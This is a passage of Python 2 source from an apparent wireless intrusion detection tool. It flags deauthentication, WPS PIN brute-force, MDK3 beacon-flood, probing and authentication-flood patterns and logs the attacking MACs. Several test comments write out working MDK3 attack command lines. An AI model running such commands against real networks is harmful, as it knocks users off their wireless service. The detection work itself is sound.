                   NotesInfo1="The data pattern match those used in " + fcolor.BRed + "Aireplay-NG Deauthenticate Request" + fcolor.SWhite + "..."
               elif int(GET_DISASSOC)>int(__builtin__.THRESHOLD_DISASSOC):
                   NotesInfo1="The data pattern match those used in " + fcolor.BRed + "MDK3 Deauthentication / Disassoication Amok Mode" + fcolor.SWhite + "..."
               ATTACK_TYPE="Deauthentication Attack"
               PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
               if PrivacyInfo=="WPA" or PrivacyInfo=="WPA2":
                   NotesInfo2="The Encryption of the BSSID also Match Attack Criteria : " + fcolor.BYellow + "WPA/WPA2" + "\n\n"
                   ATTACK_TYPE="Deauthentication - WPA Handshake"
               if ToMAC!="FF:FF:FF:FF:FF:FF":
                   sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] is calling deauthentication to [ " + fcolor.BCyan + ToMAC + fcolor.BGreen + " ]"
               else:
                   sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] is calling deauthentication to all stations"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if int(GET_DEAUTH_AC)>0 and int(GET_DISASSOC)>1 and int(GET_DEAUTH)==0:	# WPA DOWNGRADE
               PrivacyInfo=GetPrivacyInfo(FrMAC,ToMAC,ToBSSID,0)
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               if FrMAC=="FF:FF:FF:FF:FF:FF" or ToMAC=="FF:FF:FF:FF:FF:FF":
                   PACKET_SENT=GET_DEAUTH_AC + " Deauth / " + GET_DISASSOC + " Disassociation"
                   if str(PrivacyInfo).find("WPA")!=-1:
                       NotesInfo2="The Encryption of the BSSID also Match Attack Criteria : " + fcolor.BYellow + "WPA/WPA2" + "\n\n"
                   NotesInfo1="The data pattern match those used in MDK3 - WPA Downgrade Test (g) / Deauthentication/Disassociation Amok Mode (d)"
                   ATTACK_TYPE="MDK3 - WPA Downgrade Test / Deauthentication/Disassociation Amok Mode"
                   if FrMAC!="FF:FF:FF:FF:FF:FF" and ToMAC=="FF:FF:FF:FF:FF:FF" and FrMAC!=ToBSSID:
                       sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] is calling deauthentication/disassociation to [ " + fcolor.BCyan + "Broadcast" + fcolor.BGreen + " ] on Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ].."
                   elif FrMAC=="FF:FF:FF:FF:FF:FF" and ToMAC!="FF:FF:FF:FF:FF:FF" and ToMAC!=ToBSSID:
                       sData=fcolor.BGreen + "[ " + fcolor.BRed + "Broadcast"  + fcolor.BGreen + " ] deauthentication/disassociation to station [ " + fcolor.BCyan + str(ToMAC) + fcolor.BGreen + " ] on Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ].."
                   elif FrMAC=="FF:FF:FF:FF:FF:FF" and ToMAC!="FF:FF:FF:FF:FF:FF" and ToMAC==ToBSSID:
                       sData=fcolor.BGreen + "[ " + fcolor.BRed + "Broadcast" + fcolor.BGreen + " ] deauthentication/disassociation to Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ].."
                   elif FrMAC!="FF:FF:FF:FF:FF:FF" and ToMAC=="FF:FF:FF:FF:FF:FF" and FrMAC==ToBSSID:
                       sData=fcolor.BGreen + "[ " + fcolor.BCyan + str(FrMAC) + fcolor.BGreen + " ], the Access Point is calling deauthentication/disassociation to [ " + fcolor.BRed + "Broadcast" + fcolor.BGreen + " ].."
                   else:
                       sData=fcolor.BGreen + "[ " + fcolor.BRed + str(FrMAC) + fcolor.BGreen + " ] calling deauthentication/disassociation to [ " + fcolor.BCyan + str(ToMAC) + fcolor.BGreen + " ].."
                   MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
                   MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
                   MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if int(GET_EAPOL_START)>int(__builtin__.THRESHOLD_EAPOL_START) and FrMAC!=ToBSSID and int(GET_EAPOL_START)>int(GET_WPS):	# REAVER - WPS - EAPOL START
               WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
               PACKET_SENT=GET_EAPOL_START + " EAPOL Start" + fcolor.BGreen + " / " + fcolor.BRed + GET_WPS + " EAP Request "
               ATTACK_TYPE="WPS - PIN Bruteforce Attempting"
               NotesInfo1="The data pattern match those used in WPS Communication."
               WPSInfo=GetWPSInfo(FrMAC,ToMAC,ToBSSID)
               if WPSInfo!="":
                   WPSInfo=str(WPSInfo).replace("Lock?", fcolor.BWhite + "Lock?" + fcolor.SWhite).replace(" : No",fcolor.SWhite + " : " + fcolor.BGreen + "No" + fcolor.SWhite).replace(" : Yes",fcolor.SWhite + " : " + fcolor.BRed + "Yes" + fcolor.SWhite).replace(" : Null",fcolor.SWhite + " : " + fcolor.BWhite + "Null" + fcolor.SWhite).replace(" : -",fcolor.SWhite + " : " + fcolor.BWhite + "-" + fcolor.SWhite).replace("Ver - ",fcolor.BWhite + " Ver - " + fcolor.BGreen)
                   NotesInfo2="Having too much EAP Start request than EAP Message,it likely station failed to attack Access Point.. Observe the pattern."
                   NotesInfo3="The Access Point has WPS [ " + str(WPSInfo) + " ] and Match Attack Criteria : " + fcolor.BYellow + "WPS" + "\n\n"
               sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] could be attacking Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ] via EAP Start / WPS authentication"
               MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
               MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
               MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            if int(GET_WPS)>int(__builtin__.THRESHOLD_WPS) or int(GET_EAPOL_START)>int(__builtin__.THRESHOLD_EAPOL_START):   # and FrMAC!=ToBSSID:	# REAVER - WPS
               if FrMAC!=ToBSSID:
                   WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
                   PACKET_SENT=GET_EAPOL_START + " EAPOL Start " + fcolor.SGreen + "/" + fcolor.BRed + GET_EAPOL_STD + " EAPOL Standard " + fcolor.SGreen + "/" + fcolor.BRed + GET_WPS + " EAP Request"
                   ATTACK_TYPE="WPS - PIN Bruteforce"
                   NotesInfo1="The data pattern match those used in WPS Communication."
                   WPSInfo=GetWPSInfo(FrMAC,ToMAC,ToBSSID)
                   if WPSInfo!="":
                       WPSInfo=str(WPSInfo).replace("Lock?", fcolor.BWhite + "Lock?" + fcolor.SWhite).replace(" : No",fcolor.SWhite + " : " + fcolor.BGreen + "No" + fcolor.SWhite).replace(" : Yes",fcolor.SWhite + " : " + fcolor.BRed + "Yes" + fcolor.SWhite).replace(" : Null",fcolor.SWhite + " : " + fcolor.BWhite + "Null" + fcolor.SWhite).replace(" : -",fcolor.SWhite + " : " + fcolor.BWhite + "-" + fcolor.SWhite).replace("Ver - ",fcolor.BWhite + " Ver - " + fcolor.BGreen)
                       NotesInfo2="Usually a WPS Pin Brutefore will be slow and continuous.. Observe the pattern."
                       NotesInfo3="The Access Point has WPS [ " + str(WPSInfo) + " ] and Match Attack Criteria : " + fcolor.BYellow + "WPS" + "\n\n"
                   sData=fcolor.BGreen + "[ " + fcolor.BRed + FrMAC + fcolor.BGreen + " ] could be attacking Access Point [ " + fcolor.BCyan + ToBSSID + fcolor.BGreen + " ] via WPS authentication"
                   MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
                   MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
                   MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            __builtin__.MSG_IDSDetectionOverAll=__builtin__.MSG_IDSDetectionOverAll+RemoveDoubleLF(str(MSG_ATTACK)) #+ str(Breaks) + "\n"
            x += 1
    
    ## TESTING ---- MDK3 BEACON FLOODING WITH DIFFERENT ESSID = mdk3 mon0 b 
    if ProbeMAC!="" and int(TotalProbe)>20:
        WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3=""
        PACKET_SENT=TotalPackets
        NotesInfo1="The data pattern match those used in MDK3 Beacon Flooding Mode (b)"
        ATTACK_TYPE="MDK3 - Beacon Flooding Mode"
        ProbeMACA=str(ProbeMAC).replace("/",fcolor.SWhite + "/" + fcolor.BRed)
        ProbeMACB=str(ProbeMAC).replace("/",fcolor.SWhite + "/" + fcolor.BCyan)
        if BeaconChannel!="" and BeaconChannel[-3:]==" / ":
            BeaconChannel=BeaconChannel[:-3]
        BeaconChannel=str(BeaconChannel).replace("/",fcolor.SWhite + "/" + fcolor.BGreen)
        BeaconPrivacy=str(BeaconPrivacy).replace("/",fcolor.SWhite + "/" + fcolor.BGreen)
        sData=fcolor.BGreen + "[ " + fcolor.BRed + ProbeMACA + fcolor.BGreen + " ] is broadcasting numerous ESSIDs"
        MACInfo = "     " + fcolor.SGreen + "From BSSID [ " + fcolor.BCyan + str(ProbeMACB) + fcolor.SWhite + " ] ==> To MAC [ " + fcolor.BRed + "FF:FF:FF:FF:FF:FF"  + fcolor.SWhite + " ].\n"
        MACInfo = MACInfo + "     " + fcolor.SWhite + "  Beacons  [ " + fcolor.BYellow + str(TotalPackets) + " Beacons Found" + fcolor.SWhite + " ]\n"
        MACInfo = MACInfo + "     " + fcolor.SWhite + "  ESSIDs   [ " + fcolor.BYellow + str(TotalProbe) + " ESSIDs Found" + fcolor.SWhite + " ]\n"
        MACInfo = MACInfo + "     " + fcolor.SWhite + "  Channels [ " + fcolor.BGreen + str(BeaconChannel) + fcolor.SWhite + " ]\n"
        MACInfo = MACInfo + "     " + fcolor.SWhite + "  Privacy  [ " + fcolor.BGreen + str(BeaconPrivacy) + fcolor.SWhite + " ]\n"
        MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
        MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
        __builtin__.MSG_IDSDetectionOverAll=__builtin__.MSG_IDSDetectionOverAll+RemoveDoubleLF(str(MSG_ATTACK)) #+ str(Breaks) + "\n"
        F5M=str(ProbeMAC[:5])
        RemoveFloodedAP("",str(F5M))
    ## TESTING ---- MDK3 BEACON FLOODING WITH SIMILAR ESSID = mdk3 mon0 b -n AAAAAA
    tmpAll_ESSID=[]
    x=0
    y=0
    Similar_ESSID=ListDuplicate(ListInfo_ESSID)
    Similar_ESSID=filter(None,Similar_ESSID)
    if len(Similar_ESSID)>0:
        SimilarCt=0
        SimilarChannel=""
        SimilarBSSID=""
        SimilarPrivacy=""
        x=0
        while x<len(Similar_ESSID): # and CheckWhitelist(Similar_ESSID[x])=="":
            y=0
            while y<len(ListInfo_ESSID):
                if Similar_ESSID[x]!="" and Similar_ESSID[x]==ListInfo_ESSID[y]:
                    SimilarCt=SimilarCt+1
                    if SimilarChannel=="":
                        SimilarChannel=ListInfo_Channel[y] + " / "
                    elif SimilarChannel!="":
                        if str(SimilarChannel).find(ListInfo_Channel[y] + " / ")==-1:
                            SimilarChannel=SimilarChannel + ListInfo_Channel[y] + " / "
                    if SimilarBSSID=="":
                        SimilarBSSID=ListInfo_BSSID[y] + " / "
                        AddMACToList(ListInfo_BSSID[y],List_AttackingMAC)
                    elif SimilarBSSID!="":
                        if str(SimilarBSSID).find(ListInfo_BSSID[y] + " / ")==-1:
                            SimilarBSSID=SimilarBSSID + ListInfo_BSSID[y] + " / "
                            AddMACToList(ListInfo_BSSID[y],List_AttackingMAC)
                    if SimilarPrivacy=="" and ListInfo_Privacy[y]!="":
                        SimilarPrivacy=ListInfo_Privacy[y] + " / "
                    elif SimilarPrivacy!="" and ListInfo_Privacy[y]!="":
                        if str(SimilarPrivacy).find(ListInfo_Privacy[y] + " / ")==-1:
                            SimilarPrivacy=SimilarPrivacy + ListInfo_Privacy[y] + " / "
                y += 1
            if SimilarCt>15:
                WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3="";MACInfo=""
                NotesInfo1="The data pattern match those used in MDK3 Beacon Flooding Mode (b) with Similar ESSID."
                ATTACK_TYPE="MDK3 - Beacon Flooding Mode (Similar ESSID)"
                tBSSIDCt=SimilarBSSID.split("/")
                BSSIDCt=int(len(tBSSIDCt)) - 1
                if SimilarBSSID!="" and SimilarBSSID[-3:]==" / ":
                    SimilarBSSID=SimilarBSSID[:-3]
                SimilarBSSID=str(SimilarBSSID).replace("/",fcolor.SWhite + "/" + fcolor.SRed)
                if SimilarChannel!="" and SimilarChannel[-3:]==" / ":
                    SimilarChannel=SimilarChannel[:-3]
                SimilarChannel=str(SimilarChannel).replace("/",fcolor.SWhite + "/" + fcolor.BGreen)
                if SimilarPrivacy!="" and SimilarPrivacy[-3:]==" / ":
                    SimilarPrivacy=SimilarPrivacy[:-3]
                SimilarPrivacy=str(SimilarPrivacy).replace("/",fcolor.SWhite + "/" + fcolor.BGreen)
                sData=fcolor.BGreen + "[ " + fcolor.SRed + SimilarBSSID + fcolor.BGreen + " ] is broadcasting as [ " + fcolor.BPink + Similar_ESSID[x] + fcolor.BGreen + " ]"
                MACInfo = "     " + fcolor.SWhite + "  BSSIDs   [ " + fcolor.BGreen + str(BSSIDCt) + " BSSIDs Found" + fcolor.SWhite + " ]\n"
                MACInfo = MACInfo + "     " + fcolor.SWhite + "  ESSIDs   [ " + fcolor.BGreen + str(SimilarCt) + " Similar ESSID Found" + fcolor.SWhite + " ]\n"
                MACInfo = MACInfo + "     " + fcolor.SWhite + "  Channels [ " + fcolor.BGreen + str(SimilarChannel) + fcolor.SWhite + " ]\n"
                MACInfo = MACInfo + "     " + fcolor.SWhite + "  Privacy  [ " + fcolor.BGreen + str(SimilarPrivacy) + fcolor.SWhite + " ]\n"
                MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,"",NotesInfo1,NotesInfo2,NotesInfo3)
                MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
                __builtin__.MSG_IDSDetectionOverAll=__builtin__.MSG_IDSDetectionOverAll+RemoveDoubleLF(str(MSG_ATTACK)) #+ str(Breaks) + "\n"
                RemoveFloodedAP(Similar_ESSID[x],"")
            x += 1
    
    ## TESTING ---- MDK3 PROBING & ESSID BRUTEFORCE = mdk3 mon0 p -b abcdefg -p TEST-AP -c 2 -t <AP_MAC>
    x=0
    ProbeLen=0
    SimilarProbeCt=0
    SingleProbe=0
    ProbedESSID=""
    StationID=""
    while x<len(ListInfo_STATION):
        if ListInfo_CBSSID[x]=="Not Associated" and len(ListInfo_PROBE[x])>0:
            tProbe=[]
            if ListInfo_PROBE[x]!="":
                tProbe=str(ListInfo_PROBE[x]).split (" / ")
                ProbeCt=len(tProbe)
            else:
                ProbeCt=0
            if ProbeCt==1:
                SingleProbe=SingleProbe+1
                ProbedESSID=ProbedESSID + ListInfo_PROBE[x] + " / "
                StationID=StationID + ListInfo_STATION[x] + " / "
                if ProbeLen==len(ListInfo_PROBE[x]):
                    SimilarProbeCt=SimilarProbeCt+1
                else:
                    ProbeLen=len(ListInfo_PROBE[x])
        x +=1
    if int(SingleProbe)>50:
        WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3="";MACInfo=""
        NotesInfo1="The data pattern match those used in MDK3 Basic Probing and ESSID Bruteforce Mode (p)"
        ATTACK_TYPE="MDK3 - Basic Probing & ESSID BruteForce Mode"
        if StationID!="" and StationID[-3:]==" / ":
            StationID=StationID[:-3]
        StationID=str(StationID).replace("/",fcolor.SWhite + "/" + fcolor.BRed)
        if ProbedESSID!="" and ProbedESSID[-3:]==" / ":
            ProbedESSID=ProbedESSID[:-3]
        ProbedESSID=str(ProbedESSID).replace("/",fcolor.SWhite + "/" + fcolor.BBlue)
        sData=fcolor.BGreen + "[ " + fcolor.BRed + "Multiple Station MACs" + fcolor.BGreen + " ] is probing [ " + fcolor.BPink + "Multiple ESSID" + fcolor.BGreen + " ]"
        MACInfo = "     " + fcolor.SWhite + "  Stations [ " + fcolor.BRed + str(StationID) + "" + fcolor.SWhite + " ]\n"
        MACInfo = MACInfo + "     " + fcolor.SWhite + "  Probes   [ " + fcolor.BBlue + str(ProbedESSID) + " " + fcolor.SWhite + " ]\n"
        MACInfo = MACInfo + "     " + fcolor.SWhite + "  Detected [ " + fcolor.BGreen + str(SingleProbe) + fcolor.SGreen + " Stations with Single Probe" + fcolor.SWhite + " ]\n"
        MACInfo = MACInfo + "     " + fcolor.SWhite + "  Detected [ " + fcolor.BGreen + str(SimilarProbeCt) + fcolor.SGreen + " Probes with same ESSID length" + fcolor.SWhite + " ]\n"
        MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,"",NotesInfo1,NotesInfo2,NotesInfo3)
        MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
        __builtin__.MSG_IDSDetectionOverAll=__builtin__.MSG_IDSDetectionOverAll+RemoveDoubleLF(str(MSG_ATTACK))
        RemoveUnassociatedClient("")
        MSG_ATTACK=""
    ## TESTING ---- MDK3 WIDS/WIPS/WDS CONFUSION = mdk3 mon0 w -e Test -c 6
    if ConfuseWDS!=0:
        ConfuseWDSListCt=0
        tCt=[]
        WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3="";MACInfo=""
        NotesInfo1="The data pattern match those used in MDK3 WIDS/WIPS/WDS Confusion Mode (w)"
        if ConfuseWDSList!="" and ConfuseWDSList[-3:]==" / ":
            tCt=ConfuseWDSList.split("/")
            ConfuseWDSListCt=len(tCt) - 1
            ConfuseWDSList=ConfuseWDSList[:-3]
        ConfuseWDSList=str(ConfuseWDSList).replace("/",fcolor.SWhite + "/" + fcolor.BCyan)
        if ConfuseWDS==1:
            ATTACK_TYPE="MDK3 - WIDS/WIPS/WDS Confusion Mode - Single"
            sData=fcolor.BGreen + "[ " + fcolor.BRed + "Broadcast" + fcolor.BGreen + " ] authentication flood to [ " + fcolor.BCyan + str(ConfuseWDSMAC) + fcolor.BGreen + " ]"
            MACInfo=DisplayMACSInformation(FrMAC,ToMAC,ToBSSID)
        else:
            ATTACK_TYPE="MDK3 - WIDS/WIPS/WDS Confusion Mode - Multiple"
            sData=fcolor.BGreen + "[ " + fcolor.BRed + "Broadcast" + fcolor.BGreen + " ] authentication flood to [ " + fcolor.BPink + "Multiple Access Points" + fcolor.BGreen + " ]"
            MACInfo = "     " + fcolor.SWhite + "  A.Points [ " + fcolor.BGreen + str(ConfuseWDSListCt) + "" + fcolor.SWhite + " ] - " + fcolor.BCyan + ConfuseWDSList + "\n"
            MACInfo = MACInfo + "     " + fcolor.SWhite + "  Detected [ " + fcolor.BRed + str(ConfuseWDS) + fcolor.SGreen + " Affected Access Points (Authentication Flooding)" + fcolor.SWhite + " ]\n"
        PACKET_SENT=ConfuseWDSPkt
        MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
        MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
        __builtin__.MSG_IDSDetectionOverAll=__builtin__.MSG_IDSDetectionOverAll+RemoveDoubleLF(str(MSG_ATTACK))
        RemoveFloodedAP("<NONE>","")
        MSG_ATTACK=""
    ## TESTING ---- MDK3 AUTHENTICATION FLOOD TO ALL ACCESS POINTS = mdk3 mon0 a
    if AuthFlood>3:
        AuthFloodListCt=0
        tCt=[]
        WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3="";MACInfo=""
        NotesInfo1="The data pattern match those used in MDK3 Authentication DoS (a) to all Access Points "
        tCt=[]
        if AuthFloodList!="" and AuthFloodList[-3:]==" / ":
            tCt=AuthFloodList.split("/")
            AuthFloodListCt=len(tCt) - 1
            AuthFloodList=AuthFloodList[:-3]
        AuthFloodList=str(AuthFloodList).replace("/",fcolor.SWhite + "/" + fcolor.BCyan)
        ATTACK_TYPE="MDK3 - Authentication DoS (a) to Multiple Access Points"
        sData=fcolor.BGreen + "[ " + fcolor.BRed + str(AuthFloodMAC) + fcolor.BGreen + " ] authentication flood to [ " + fcolor.BPink + "Multiple Access Points" + fcolor.BGreen + " ]"
        MACInfo = "     " + fcolor.SWhite + "  A.Points [ " + fcolor.BGreen + str(AuthFloodListCt) + "" + fcolor.SWhite + " ] - " + fcolor.BCyan + AuthFloodList + "\n"
        MACInfo = MACInfo + "     " + fcolor.SWhite + "  Detected [ " + fcolor.BRed + str(AuthFloodListCt) + fcolor.SGreen + " Affected Access Points (Authentication Flooding)" + fcolor.SWhite + " ]\n"
        PACKET_SENT=str(AuthFloodPkt) + " Authentication"
        MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,PACKET_SENT,NotesInfo1,NotesInfo2,NotesInfo3)
        MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
        __builtin__.MSG_IDSDetectionOverAll=__builtin__.MSG_IDSDetectionOverAll+RemoveDoubleLF(str(MSG_ATTACK))
        MSG_ATTACK=""
 
 
    ## TESTING ---- MDK3 AUTHENTICATION FLOODING WITH CLIENTS = mdk3 mon0 a -a <AP MAC> -m
    x=0
    DoSAP=0
    DoSST=0
    DoSAPList=""
    while x<len(__builtin__.ListInfo_BSSID):
        if int(__builtin__.ListInfo_ConnectedClient[x])>100:
            DoSST=DoSST+ int(__builtin__.ListInfo_ConnectedClient[x])
            DoSAPList = DoSAPList + str(__builtin__.ListInfo_BSSID[x]) + " / "
            WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3="";MACInfo="";MSG_ATTACK=""
            ATTACK_TYPE="Authentication Flood with Multiple Stations"
            NotesInfo1="Unusual large number of station associated to an Access Point."
            NotesInfo2="There is a possibility of " + fcolor.BRed + "MDK3 Authentication DoS Mode " + fcolor.SWhite + " with [ " + fcolor.BRed + "-m" + fcolor.SWhite + " ] option.."
            NotesInfo3=fcolor.BRed + str(int(__builtin__.ListInfo_ConnectedClient[x])) + fcolor.SWhite + " stations found to be associated to the Access Point."
            sData=fcolor.BGreen + "[ " + fcolor.BRed + "Multiple Stations MAC" + fcolor.BGreen + " ] could be flooding Access Point [ " + fcolor.BCyan + str(__builtin__.ListInfo_BSSID[x]) + fcolor.BGreen + " ] with authentication request"
            MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,"",NotesInfo1,NotesInfo2,NotesInfo3)
            MACInfo=DisplayMACSInformation("FF:FF:FF:FF:FF:FF",str(__builtin__.ListInfo_BSSID[x]),str(__builtin__.ListInfo_BSSID[x]))
            MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
            __builtin__.MSG_IDSDetectionOverAll=__builtin__.MSG_IDSDetectionOverAll+RemoveDoubleLF(str(MSG_ATTACK))
            RemoveUnassociatedClient(str(__builtin__.ListInfo_BSSID[x]))
            DoSAP=DoSAP+1
        x += 1
    MSG_ATTACK=""
    ## TESTING ---- MDK3 AUTHENTICATION FLOODING WITH CLIENTS TO MULTIPLE AP = mdk3 mon0 a -m
    if DoSAP>1:
        WarningCount=WarningCount+1;NotesInfo1="";NotesInfo2="";NotesInfo3="";MACInfo="";MSG_ATTACK=""
        if DoSAPList!="" and DoSAPList[-3:]==" / ":
            tCt=DoSAPList.split("/")
            DoSAPListCt=len(tCt) - 1
            DoSAPList=DoSAPList[:-3]
        DoSAPList=str(DoSAPList).replace("/",fcolor.SWhite + "/" + fcolor.BCyan)
        ATTACK_TYPE="Authentication Flood with Multiple Stations To Multiple Access Point"
        NotesInfo1="Unusual large number of station associated to multiple Access Points."
        NotesInfo2="There is a possibility of " + fcolor.BRed + "MDK3 Authentication DoS Mode to All Access Points (a) " + fcolor.SWhite + " with [ " + fcolor.BRed + "-m" + fcolor.SWhite + " ] option.."
        NotesInfo3=fcolor.BRed + str(DoSST) + fcolor.SWhite + " stations found to be associated to [ " + fcolor.BRed + str(DoSAP) + fcolor.SWhite + " ] Access Points."
        sData=fcolor.BGreen + "[ " + fcolor.BRed + "Multiple Stations MAC" + fcolor.BGreen + " ] could be flooding [ " + fcolor.BCyan + "Multiple Access Points" + fcolor.BGreen + " ] with authentication request"
        MSG_ATTACK=MSG_ATTACK + DisplayAttackMsg(WarningCount,ATTACK_TYPE, sData ,"-",NotesInfo1,NotesInfo2,NotesInfo3)
        MACInfo = "     " + fcolor.SWhite + "  A.Points [ " + fcolor.BGreen + str(DoSAPListCt) + "" + fcolor.SWhite + " ] - " + fcolor.BCyan + DoSAPList + "\n"
        MSG_ATTACK=MSG_ATTACK + "" + DetailInfo + MACInfo+ "\n" + Breaks + "\n"
        __builtin__.MSG_IDSDetectionOverAll=__builtin__.MSG_IDSDetectionOverAll+RemoveDoubleLF(str(MSG_ATTACK))
    MSG_ATTACK=""
    if int(WarningCount)>0 and __builtin__.SHOW_IDS=="Yes":
        BeepSound()
        CenterText(fcolor.BGIRed + fcolor.BWhite,"< < <<  WARNING !!! - POSSIBLE ATTACKS DETECTED  >> > >      ")
        print ""
        __builtin__.MSG_IDSDetectionOverAll=__builtin__.MSG_IDSDetectionOverAll + "" + fcolor.BWhite + "Total Warning : " + fcolor.BRed + str(WarningCount) + "\n" + fcolor.SCyan + "Reported : " + str(Now()) + "\n"
        print str(__builtin__.MSG_IDSDetectionOverAll)
        WriteAttackLog(__builtin__.MSG_IDSDetectionOverAll + "\n")
        __builtin__.MSG_AttacksLogging=str(__builtin__.MSG_AttacksLogging) + str(__builtin__.MSG_IDSDetectionOverAll) + "\n"
        __builtin__.MSG_CombinationLogs=str(__builtin__.MSG_CombinationLogs) + str(__builtin__.MSG_IDSDetectionOverAll) + "\n"
        if __builtin__.SAVE_ATTACKPKT=="Yes":
            SaveFilteredMAC(List_AttackingMAC,"ATTACK*",attackdir)
        LineBreak()

def ShowAnalysedListing(usr_resp):
    spacing=""
    rtnDisplay=""
    ToDisplay=0
    OfInterestSensitive=""
    __builtin__.OfInterest_List=[]
    OfInterest=""
    lineblock=0
    if usr_resp!="":
        usr_resp=str(usr_resp).upper()
        tmpMACList=[]
        if usr_resp!="SHOW LIST3_QUIET":
            print ""
        TITLE_PROBE=""
        if usr_resp[-1:]=="A":
            TITLE_PROBE=" - Without Probe/SSID"
        if usr_resp[:10]=="SHOW LIST1":
            print spacing + fcolor.BBlue + "Analysed Result Listing"
        if usr_resp[:10]=="SHOW LIST2":
            print spacing + fcolor.BBlue + "Analysed Result Listing With Filters"
            DisplayAnalysisMACFilter("")
        if usr_resp[:10]=="SHOW LIST3":
            if usr_resp!="SHOW LIST3_QUIET":
                print spacing + fcolor.BBlue + "Analysed Result Listing Of Interest (Base on Sensitivty of IDS setting)"
        if usr_resp[:10]=="SHOW LIST4":
            print spacing + fcolor.BBlue + "Analysed Result Listing Of Interest (Base on Standard Threshold of " + str(__builtin__.THRESHOLD) + ")"
        if usr_resp!="SHOW LIST3_QUIET":
            __builtin__.SHOWRESULT=3
        else:
            __builtin__.SHOWRESULT=4
        if usr_resp!="SHOW LIST3_QUIET":
            printl ("","0","")
        __builtin__.SHOWRESULT=0
        x=0;y=0;DisplayCt=0
        RECON_CMD=1;
        COLOR1=fcolor.SGreen
        COLOR2=fcolor.SWhite
        COLOR3=fcolor.SPink
        COLOR4=fcolor.SBlue
        COLOR5=fcolor.SCyan
        COLOR6=fcolor.SYellow 
        COLOR7=fcolor.SRed 
        if usr_resp!="SHOW LIST3_QUIET":
            print ""
        else:
            printl (fcolor.SGreen + "Checking for suspicious packets...\r","0","")
